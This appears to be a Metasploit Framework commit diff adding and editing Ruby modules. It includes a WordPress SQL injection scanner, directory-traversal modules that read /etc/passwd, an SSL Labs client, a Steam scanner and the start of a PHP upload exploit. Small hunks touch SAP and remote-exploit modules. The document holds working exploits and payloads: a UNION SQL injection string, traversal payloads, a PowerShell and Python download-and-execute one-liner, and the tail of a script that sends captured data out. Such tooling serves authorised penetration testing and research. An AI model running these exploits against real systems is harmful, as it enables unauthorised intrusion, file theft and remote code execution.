x.send(JSON.stringify({p: p, domain: document.domain}));
</script>
</body></html>
HTML
end
def grab_key
@grab_key ||= Rex::Text.rand_text_alphanumeric(8)
end
end

View File

@ -0,0 +1,788 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'active_support/inflector'
require 'json'
require 'active_support/core_ext/hash'
class Metasploit3 < Msf::Auxiliary
class InvocationError < StandardError; end
class RequestRateTooHigh < StandardError; end
class InternalError < StandardError; end
class ServiceNotAvailable < StandardError; end
class ServiceOverloaded < StandardError; end
class Api
attr_reader :max_assessments, :current_assessments
def initialize
@max_assessments = 0
@current_assessments = 0
end
def request(name, params = {})
api_host = "api.ssllabs.com"
api_port = "443"
api_path = "/api/v2/"
user_agent = "Msf_ssllabs_scan"
name = name.to_s.camelize(:lower)
uri = api_path + name
cli = Rex::Proto::Http::Client.new(api_host, api_port, {}, true, 'TLS1')
cli.connect
req = cli.request_cgi({
'uri' => uri,
'agent' => user_agent,
'method' => 'GET',
'vars_get' => params
})
res = cli.send_recv(req)
cli.close
if res && res.code.to_i == 200
@max_assessments = res.headers['X-Max-Assessments']
@current_assessments = res.headers['X-Current-Assessments']
r = JSON.load(res.body)
fail InvocationError, "API returned: #{r['errors']}" if r.key?('errors')
return r
end
case res.code.to_i
when 400
fail InvocationError
when 429
fail RequestRateTooHigh
when 500
fail InternalError
when 503
fail ServiceNotAvailable
when 529
fail ServiceOverloaded
else
fail StandardError, "HTTP error code #{r.code}", caller
end
end
def info
Info.load request(:info)
end
def analyse(params = {})
Host.load request(:analyze, params)
end
def get_endpoint_data(params = {})
Endpoint.load request(:get_endpoint_data, params)
end
def get_status_codes
StatusCodes.load request(:get_status_codes)
end
end
class ApiObject
class << self;
attr_accessor :all_attributes
attr_accessor :fields
attr_accessor :lists
attr_accessor :refs
end
def self.inherited(base)
base.all_attributes = []
base.fields = []
base.lists = {}
base.refs = {}
end
def self.to_api_name(name)
name.to_s.gsub(/\?$/, '').camelize(:lower)
end
def self.to_attr_name(name)
name.to_s.gsub(/\?$/, '').underscore
end
def self.field_methods(name)
is_bool = name.to_s.end_with?('?')
attr_name = to_attr_name(name)
api_name = to_api_name(name)
class_eval <<-EOF, __FILE__, __LINE__
def #{attr_name}#{'?' if is_bool}
@#{api_name}
end
def #{attr_name}=(value)
@#{api_name} = value
end
EOF
end
def self.has_fields(*names)
names.each do |name|
@all_attributes << to_api_name(name)
@fields << to_api_name(name)
field_methods(name)
end
end
def self.has_objects_list(name, klass)
@all_attributes << to_api_name(name)
@lists[to_api_name(name)] = klass
field_methods(name)
end
def self.has_object_ref(name, klass)
@all_attributes << to_api_name(name)
@refs[to_api_name(name)] = klass
field_methods(name)
end
def self.load(attributes = {})
obj = self.new
attributes.each do |name, value|
if @fields.include?(name)
obj.instance_variable_set("@#{name}", value)
elsif @lists.key?(name)
obj.instance_variable_set("@#{name}", value.map { |v| @lists[name].load(v) }) unless value.nil?
elsif @refs.key?(name)
obj.instance_variable_set("@#{name}", @refs[name].load(value)) unless value.nil?
else
fail ArgumentError, "#{name} is not an attribute of object #{self.name}"
end
end
obj
end
def to_json(opts = {})
obj = {}
self.class.all_attributes.each do |api_name|
v = instance_variable_get("@#{api_name}")
obj[api_name] = v
end
obj.to_json
end
end
class Cert < ApiObject
has_fields :subject,
:commonNames,
:altNames,
:notBefore,
:notAfter,
:issuerSubject,
:sigAlg,
:issuerLabel,
:revocationInfo,
:crlURIs,
:ocspURIs,
:revocationStatus,
:sgc?,
:validationType,
:issues
def valid?
issues == 0
end
def invalid?
!valid?
end
end
class ChainCert < ApiObject
has_fields :subject,
:label,
:issuerSubject,
:issuerLabel,
:issues,
:raw
def valid?
issues == 0
end
def invalid?
!valid?
end
end
class Chain < ApiObject
has_objects_list :certs, ChainCert
has_fields :subject,
:label,
:issuerSubject,
:issuerLabel,
:issues,
:raw
def valid?
issues == 0
end
def invalid?
!valid?
end
end
class Key < ApiObject
has_fields :size,
:strength,
:alg,
:debianFlaw?,
:q
def insecure?
debian_flaw? || q == 0
end
def secure?
!insecure?
end
end
class Protocol < ApiObject
has_fields :id,
:name,
:version,
:v2SuitesDisabled?,
:q
def insecure?
q == 0
end
def secure?
!insecure?
end
end
class Info < ApiObject
has_fields :engineVersion,
:criteriaVersion,
:clientMaxAssessments,
:maxAssessments,
:currentAssessments,
:messages
end
class SimClient < ApiObject
has_fields :id,
:name,
:platform,
:version,
:isReference?
end
class Simulation < ApiObject
has_object_ref :client, SimClient
has_fields :errorCode,
:attempts,
:protocolId,
:suiteId
def success?
error_code == 0
end
def error?
!success?
end
end
class SimDetails < ApiObject
has_objects_list :results, Simulation
end
class StatusCodes < ApiObject
has_fields :statusDetails
def [](name)
status_details[name]
end
end
class Suite < ApiObject
has_fields :id,
:name,
:cipherStrength,
:dhStrength,
:dhP,
:dhG,
:dhYs,
:ecdhBits,
:ecdhStrength,
:q
def insecure?
q == 0
end
def secure?
!insecure?
end
end
class Suites < ApiObject
has_objects_list :list, Suite
has_fields :preference?
end
class EndpointDetails < ApiObject
has_fields :hostStartTime
has_object_ref :key, Key
has_object_ref :cert, Cert
has_object_ref :chain, Chain
has_objects_list :protocols, Protocol
has_object_ref :suites, Suites
has_fields :serverSignature,
:prefixDelegation?,
:nonPrefixDelegation?,
:vulnBeast?,
:renegSupport,
:stsResponseHeader,
:stsMaxAge,
:stsSubdomains?,
:pkpResponseHeader,
:sessionResumption,
:compressionMethods,
:supportsNpn?,
:npnProtocols,
:sessionTickets,
:ocspStapling?,
:sniRequired?,
:httpStatusCode,
:httpForwarding,
:supportsRc4?,
:forwardSecrecy,
:rc4WithModern?
has_object_ref :sims, SimDetails
has_fields :heartbleed?,
:heartbeat?,
:openSslCcs,
:poodleTls,
:fallbackScsv?
end
class Endpoint < ApiObject
has_fields :ipAddress,
:serverName,
:statusMessage,
:statusDetails,
:statusDetailsMessage,
:grade,
:hasWarnings?,
:isExceptional?,
:progress,
:duration,
:eta,
:delegation
has_object_ref :details, EndpointDetails
end
class Host < ApiObject
has_fields :host,
:port,
:protocol,
:isPublic?,
:status,
:statusMessage,
:startTime,
:testTime,
:engineVersion,
:criteriaVersion,
:cacheExpiryTime
has_objects_list :endpoints, Endpoint
has_fields :certHostnames
end
def initialize(info = {})
super(update_info(info,
'Name' => 'SSL Labs API Client',
'Description' => %q{
This module is a simple client for the SSL Labs APIs, designed for SSL/TLS assessmen during a penetration testing.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Denis Kolegov <dnkolegov[at]gmail.com>',
'Francois Chagnon' # ssllab.rb author (https://github.com/Shopify/ssllabs.rb)
],
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true,
'SSLVersion' => 'TLS1'
}
))
register_options(
[
OptString.new('HOSTNAME', [true, 'The target hostname']),
OptInt.new('DELAY', [true, 'The delay in seconds between API requests', 5]),
OptBool.new('USECACHE', [true, 'Use cached results (if available), else force live scan', 'true']),
OptBool.new('GRADE', [true, 'Output only the hostname: grade', 'false']),
OptBool.new('IGNOREMISMATCH', [true, 'Proceed with assessments even when the server certificate doesn\'t match the assessment hostname', 'true'])
], self.class)
end
def report_good(line)
print_good line
end
def report_warning(line)
print_warning line
end
def report_bad(line)
print_warning line
end
def report_status(line)
print_status line
end
def output_endpoint_data(r)
ssl_protocols = [
{ id: 771, name: "TLS", version: "1.2", secure: true, active: false },
{ id: 770, name: "TLS", version: "1.1", secure: true, active: false },
{ id: 769, name: "TLS", version: "1.0", secure: true, active: false },
{ id: 768, name: "SSL", version: "3.0", secure: false, active: false },
{ id: 2, name: "SSL", version: "2.0", secure: false, active: false }
]
report_status "-----------------------------------------------------------------"
report_status "Report for #{r.server_name} (#{r.ip_address})"
report_status "-----------------------------------------------------------------"
case r.grade.to_s
when "A+", "A", "A-"
report_good "Overall rating: #{r.grade}"
when "B"
report_warning "Overall rating: #{r.grade}"
when "C", "D", "E", "F"
report_bad "Overall rating: #{r.grade}"
when "M"
report_bad "Overall rating: #{r.grade} - Certificate name mismatch"
when "T"
report_bad "Overall rating: #{r.grade} - Server's certificate is not trusted"
end
# Supported protocols
r.details.protocols.each do |i|
p = ssl_protocols.detect { |x| x[:id] == i.id }
p.store(:active, true) if p
end
ssl_protocols.each do |proto|
if proto[:active]
if proto[:secure]
report_good "#{proto[:name]} #{proto[:version]} - Yes"
else
report_bad "#{proto[:name]} #{proto[:version]} - Yes"
end
else
report_good "#{proto[:name]} #{proto[:version]} - No"
end
end
# Renegotioation
case
when r.details.reneg_support == 0
report_warning "Secure renegotiation is not supported"
when r.details.reneg_support[0] == 1
report_bad "Insecure client-initiated renegotiation is supported"
when r.details.reneg_support[1] == 1
report_good "Secure renegotiation is supported"
when r.details.reneg_support[2] == 1
report_warning "Secure client-initiated renegotiation is supported"
when r.details.reneg_support[3] == 1
report_warning "Server requires secure renegotiation support"
end
# BEAST
if r.details.vuln_beast?
report_bad "BEAST attack - Yes"
else
report_good "BEAST attack - No"
end
# puts "POODLE (SSLv3)- ?"
# POODLE TLS
case r.details.poodle_tls
when -1
report_warning "POODLE TLS - Test failed"
when 0
report_warning "POODLE TLS - Unknown"
when 1
report_good "POODLE TLS - No"
when 2
report_bad "POODLE TLS - Yes"
end
# Downgrade attack prevention
if r.details.fallback_scsv?
report_good "Downgrade attack prevention - Yes"
else
report_bad "Downgrade attack prevention - No"
end
# RC4
if r.details.supports_rc4?
report_warning "RC4 - Server supports at least one RC4 suite"
else
report_good "RC4 - No"
end
# RC4 with modern browsers
report_warning "RC4 is used with modern clients" if r.details.rc4_with_modern?
# Heartbeat
if r.details.heartbeat?
report_status "Heartbeat (extension) - Yes"
else
report_status "Heartbeat (extension) - No"
end
# Heartbleed
if r.details.heartbleed?
report_bad "Heartbleed (vulnerability) - Yes"
else
report_good "Heartbeat (vulnerability) - No"
end
# OpenSSL CCS
case r.details.open_ssl_ccs
when -1
report_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Test failed"
when 0
report_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Unknown"
when 1
report_good "OpenSSL CCS vulnerability (CVE-2014-0224) - No"
when 2
report_bad "OpenSSL CCS vulnerability (CVE-2014-0224) - Possibly vulnerable, but not exploitable"
when 3
report_bad "OpenSSL CCS vulnerability (CVE-2014-0224) - Vulnerable and exploitable"
end
# Forward Secrecy
case
when r.details.forward_secrecy == 0
report_bad "Forward Secrecy - No"
when r.details.forward_secrecy[0] == 1
report_bad "Forward Secrecy - With some browsers"
when r.details.forward_secrecy[1] == 1
report_good "Forward Secrecy - With modern browsers"
when r.details.forward_secrecy[2] == 1
report_good "Forward Secrecy - Yes (with most browsers)"
end
# HSTS
if r.details.sts_response_header
str = "Strict Transport Security (HSTS) - Yes"
if r.details.sts_max_age && r.details.sts_max_age != -1
str += ":max-age=#{r.details.sts_max_age}"
end
str += ":includeSubdomains" if r.details.sts_subdomains?
report_good str
else
report_bad "Strict Transport Security (HSTS) - No"
end
# HPKP
if r.details.pkp_response_header
report_good "Public Key Pinning (HPKP) - Yes"
else
report_warning "Public Key Pinning (HPKP) - No"
end
# Compression
if r.details.compression_methods == 0
report_good "Compression - No"
elsif (r.details.session_tickets & 1) != 0
report_warning "Compression - Yes (Deflate)"
end
# Session Resumption
case r.details.session_resumption
when 0
print_status "Session resumption - No"
when 1
report_warning "Session resumption - No (IDs assigned but not accepted)"
when 2
print_status "Session resumption - Yes"
end
# Session Tickets
case
when r.details.session_tickets == 0
print_status "Session tickets - No"
when r.details.session_tickets[0] == 1
print_status "Session tickets - Yes"
when r.details.session_tickets[1] == 1
report_good "Session tickets - Implementation is faulty"
when r.details.session_tickets[2] == 1
report_warning "Session tickets - Server is intolerant to the extension"
end
# OCSP stapling
if r.details.ocsp_stapling?
print_status "OCSP Stapling - Yes"
else
print_status "OCSP Stapling - No"
end
# NPN
if r.details.supports_npn?
print_status "Next Protocol Negotiation (NPN) - Yes (#{r.details.npn_protocols})"
else
print_status "Next Protocol Negotiation (NPN) - No"
end
# SNI
print_status "SNI Required - Yes" if r.details.sni_required?
end
def output_grades_only(r)
r.endpoints.each do |e|
if e.status_message == "Ready"
print_status "Server: #{e.server_name} (#{e.ip_address}) - Grade:#{e.grade}"
else
print_status "Server: #{e.server_name} (#{e.ip_address} - Status:#{e.status_message}"
end
end
end
def output_common_info(r)
return unless r
print_status "Host: #{r.host}"
r.endpoints.each do |e|
print_status "\t #{e.ip_address}\n"
end
end
def output_result(r, grade)
return unless r
output_common_info(r)
if grade
output_grades_only(r)
else
r.endpoints.each do |e|
if e.status_message == "Ready"
output_endpoint_data(e)
else
print_status "#{e.status_message}"
end
end
end
end
def output_testing_details(r)
return unless r.status == "IN_PROGRESS"
if r.endpoints.length == 1
print_status "#{r.host} (#{r.endpoints[0].ip_address}) - Progress #{r.endpoints[0].progress}% (#{r.endpoints[0].status_details_message})"
elsif r.endpoints.length > 1
in_progress_srv_num = 0
ready_srv_num = 0
pending_srv_num = 0
r.endpoints.each do |e|
case e.status_message.to_s
when "In progress"
in_progress_srv_num += 1
print_status "Scanned host: #{e.ip_address} (#{e.server_name})- #{e.progress}% complete (#{e.status_details_message})"
when "Pending"
pending_srv_num += 1
when "Ready"
ready_srv_num += 1
end
end
progress = ((ready_srv_num.to_f / (pending_srv_num + in_progress_srv_num + ready_srv_num)) * 100.0).round(0)
print_status "Ready: #{ready_srv_num}, In progress: #{in_progress_srv_num}, Pending: #{pending_srv_num}"
print_status "#{r.host} - Progress #{progress}%"
end
end
def valid_hostname?(hostname)
hostname =~ /^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$/
end
def run
delay = datastore['DELAY']
hostname = datastore['HOSTNAME']
unless valid_hostname?(hostname)
print_status "Invalid hostname"
return
end
usecache = datastore['USECACHE']
grade = datastore['GRADE']
# Use cached results
if usecache
from_cache = 'on'
start_new = 'off'
else
from_cache = 'off'
start_new = 'on'
end
# Ignore mismatch
ignore_mismatch = datastore['IGNOREMISMATCH'] ? 'on' : 'off'
api = Api.new
info = api.info
print_status "SSL Labs API info"
print_status "API version: #{info.engine_version}"
print_status "Evaluation criteria: #{info.criteria_version}"
print_status "Running assessments: #{info.current_assessments} (max #{info.max_assessments})"
if api.current_assessments >= api.max_assessments
print_status "Too many active assessments"
return
end
if usecache
r = api.analyse(host: hostname, fromCache: from_cache, ignoreMismatch: ignore_mismatch, all: 'done')
else
r = api.analyse(host: hostname, startNew: start_new, ignoreMismatch: ignore_mismatch, all: 'done')
end
loop do
case r.status
when "DNS"
print_status "Server: #{r.host} - #{r.status_message}"
when "IN_PROGRESS"
output_testing_details(r)
when "READY"
output_result(r, grade)
return
when "ERROR"
print_error "#{r.status_message}"
return
else
print_error "Unknown assessment status"
return
end
sleep delay
r = api.analyse(host: hostname, all: 'done')
end
rescue
print_error "Invalid parameters"
rescue RequestRateTooHigh
print_error "Request rate is too high, please slow down"
rescue InternalError
print_error "Service encountered an error, sleep 5 minutes"
rescue ServiceNotAvailable
print_error "Service is not available, sleep 15 minutes"
rescue ServiceOverloaded
print_error "Service is overloaded, sleep 30 minutes"
end
end

View File

@ -0,0 +1,75 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'CP Multi-View Calendar Unauthenticated SQL Injection Scanner',
'Description' => %q{
This module will scan given instances for an unauthenticated SQL injection
within the CP Multi-View Calendar plugin v1.1.4 for Wordpress.
},
'Author' =>
[
'Joaquin Ramirez Martinez', #discovery
'bperry' #metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '36243'],
[ 'WPVDB', '7910' ]
],
'DisclosureDate' => 'Mar 03 2015'))
register_options([
OptString.new('TARGETURI', [true, 'Target URI of the Wordpress instance', '/'])
], self.class)
end
def run_host(ip)
right_marker = Rex::Text.rand_text_alpha(5)
left_marker = Rex::Text.rand_text_alpha(5)
flag = Rex::Text.rand_text_alpha(5)
vprint_status("#{peer} - Checking host")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/'),
'vars_get' => {
'action' => 'data_management',
'cpmvc_do_action' => 'mvparse',
'f' => 'edit',
'id' => "1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"
}
})
unless res && res.body
vprint_error("#{peer} - Server did not respond in an expected way")
return
end
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
if result
print_good("#{peer} - Vulnerable to unauthenticated SQL injection within CP Multi-View Calendar 1.1.4 for Wordpress")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => "Unauthenticated UNION-based SQL injection in CP Multi-View Calendar 1.1.4 for Wordpress",
:refs => self.references.select { |ref| ref.ctx_val == "36243" }
})
end
end
end

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress DukaPress Plugin File Read Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
"DukaPress" version 2.5.2, allowing to read arbitrary files with the
web server privileges.
},
'References' =>
[
['EDB', '35346'],
['CVE', '2014-8799'],
['WPVDB', '7731'],
['OSVDB', '115130']
],
'Author' =>
[
'Kacper Szurek', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
], self.class)
end
def check
check_plugin_version_from_readme('dukapress', '2.5.7')
end
def run_host(ip)
traversal = "../" * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),
'vars_get' =>
{
'src' => "#{traversal}#{filename}"
}
})
if res && res.code == 200 && res.body.length > 0
print_status('Downloading file...')
print_line("\n#{res.body}")
fname = datastore['FILEPATH']
path = store_loot(
'dukapress.file',
'text/plain',
ip,
res.body,
fname
)
print_good("#{peer} - File saved in: #{path}")
else
print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
end
end
end

View File

@ -0,0 +1,80 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Mobile Edition File Read Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
"WP Mobile Edition" version 2.2.7, allowing to read arbitrary files with the
web server privileges. Stay tuned to the correct value in TARGETURI.
},
'References' =>
[
['EDB', '36733'],
['WPVDB', '7898']
],
'Author' =>
[
'Khwanchai Kaewyos', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
], self.class)
end
def check
check_plugin_version_from_readme('wp-mobile-edition', '2.3')
end
def run_host(ip)
traversal = "../" * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_themes, 'mTheme-Unus', 'css', 'css.php'),
'vars_get' =>
{
'files' => "#{traversal}#{filename}"
}
})
if res && res.code == 200 && res.body.length > 0
print_status('Downloading file...')
print_line("\n#{res.body}\n")
fname = datastore['FILEPATH']
path = store_loot(
'mobileedition.traversal',
'text/plain',
ip,
res.body,
fname
)
print_good("#{peer} - File saved in: #{path}")
else
print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
end
end
end

View File

@ -81,6 +81,7 @@ class Metasploit4 < Msf::Auxiliary
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
},
'encode_params' => false,
'vars_get' => {
'sap-client' => datastore['CLIENT'],
'sap-language' => 'EN'

View File

@ -123,6 +123,7 @@ class Metasploit4 < Msf::Auxiliary
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}",
'ctype' => 'text/xml; charset=UTF-8',
'authorization' => basic_auth(username, password),
'encode_params' => false,
'headers' =>
{
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',

View File

@ -102,6 +102,7 @@ class Metasploit4 < Msf::Auxiliary
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
},
'encode_params' => false,
'vars_get' => {
'sap-client' => datastore['CLIENT'],
'sap-language' => 'EN'

View File

@ -103,6 +103,7 @@ class Metasploit4 < Msf::Auxiliary
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
},
'encode_params' => false,
'vars_get' => {
'sap-client' => datastore['CLIENT'],
'sap-language' => 'EN'

View File

@ -71,6 +71,7 @@ class Metasploit4 < Msf::Auxiliary
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions'
},
'encode_params' => false,
'vars_get' => {
'sap-client' => client,
'sap-language' => 'EN'

View File

@ -89,6 +89,7 @@ class Metasploit4 < Msf::Auxiliary
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'ctype' => 'text/xml; charset=UTF-8',
'encode_params' => false,
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
},

View File

@ -75,6 +75,7 @@ class Metasploit4 < Msf::Auxiliary
'data' => data,
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
'ctype' => 'text/xml; charset=UTF-8',
'encode_params' => false,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions'

View File

@ -78,6 +78,7 @@ class Metasploit4 < Msf::Auxiliary
'data' => data,
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
'ctype' => 'text/xml; charset=UTF-8',
'encode_params' => false,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',

View File

@ -78,6 +78,7 @@ class Metasploit4 < Msf::Auxiliary
'data' => data,
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
'ctype' => 'text/xml; charset=UTF-8',
'encode_params' => false,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' =>{
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',

View File

@ -94,6 +94,7 @@ class Metasploit4 < Msf::Auxiliary
'data' => data,
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
'ctype' => 'text/xml; charset=UTF-8',
'encode_params' => false,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' =>{
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',

View File

@ -69,6 +69,7 @@ class Metasploit4 < Msf::Auxiliary
'data' => data,
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
'ctype' => 'text/xml; charset=UTF-8',
'encode_params' => false,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',

View File

@ -0,0 +1,67 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/steam'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::UDPScanner
include Rex::Proto::Steam
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gather Steam Server Information',
'Description' => %q(
This module uses the A2S_INFO request to obtain information from a Steam server.
),
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
'References' =>
[
# TODO: add more from https://developer.valvesoftware.com/wiki/Server_queries,
# perhaps in different modules
['URL', 'https://developer.valvesoftware.com/wiki/Server_queries#A2S_INFO']
],
'License' => MSF_LICENSE
)
)
register_options(
[
Opt::RPORT(27015)
], self.class)
end
def build_probe
@probe ||= a2s_info
end
def scanner_process(response, src_host, src_port)
info = a2s_info_decode(response)
return unless info
@results[src_host] ||= []
if datastore['VERBOSE']
print_good("#{src_host}:#{src_port} found '#{info.inspect}'")
else
print_good("#{src_host}:#{src_port} found '#{info[:name]}'")
end
@results[src_host] << info
end
def scanner_postscan(_batch)
@results.each_pair do |host, info|
report_host(host: host)
report_service(
host: host,
proto: 'udp',
port: rport,
name: 'Steam',
info: info
)
end
end
end

View File

@ -105,6 +105,7 @@ class Metasploit3 < Msf::Exploit::Remote
res = send_request_cgi({
'uri' => '/admin/system.html',
'cookie' => "usercookie=#{user}; passcookie=#{pass};",
'encode_params' => false,
'vars_get' => {
'step' => '2',
'device' => "lo#{cmd}"

View File

@ -102,6 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote
login = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'POST',
'encode_params' => false,
'vars_post' => post,
'vars_get' => {
'c' => 'login',

View File

@ -97,6 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
res = send_request_cgi({
'uri' => '/index.cgi',
'authorization' => basic_auth(user, pass),
'encode_params' => false,
'vars_get' => {
'nlines' => lines,
'action' => 'See logs',

View File

@ -66,6 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => normalize_uri(@uri.path, 'j_spring_security_check'),
'method' => 'POST',
'cookie' => @cookie,
'encode_params' => false,
'vars_post' => {
'j_username' => Rex::Text.uri_encode(user, 'hex-normal'),
'j_password' => Rex::Text.uri_encode(pass, 'hex-normal'),
@ -86,6 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
res = send_request_cgi({
'uri' => normalize_uri(@uri.path, 'mastheadAttach.do'),
'cookie' => @cookie,
'encode_params' => false,
'vars_get' => {
'typeId' => '10003'
}
@ -144,6 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'hqu/gconsole/console/execute.hqu?org.apache.catalina.filters.CSRF_NONCE=')+@nonce,
'cookie' => @cookie,
'encode_params' => false,
'vars_post' => {
'code' => java # java_craft_runtime_exec(cmd)
}

View File

@ -184,6 +184,7 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
'method' => 'POST',
'data' => data,
'encode_params' => false,
'headers' => {
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length,
@ -202,6 +203,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Deleting plugin #{plugin_name} from the server")
res = send_request_cgi({
'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
'encode_params' => false,
'headers' => {
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
},

View File

@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
when 'Python'
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
when 'PSH'
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
print_line generate_psh_command_line(
noprofile: true,

View File

@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(
info,
'Name' => 'Remote Code Execution in WordPress Platform Theme',
'Name' => 'WordPress Platform Theme File Upload Vulnerability',
'Description' => %q{
The WordPress Theme "platform" contains a remote code execution vulnerability
through an unchecked admin_init call. The theme includes the uploaded file

View File

@ -0,0 +1,84 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Reflex Gallery Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery
version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '36374'],
['OSVDB', '88853'],
['WPVDB', '7867']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
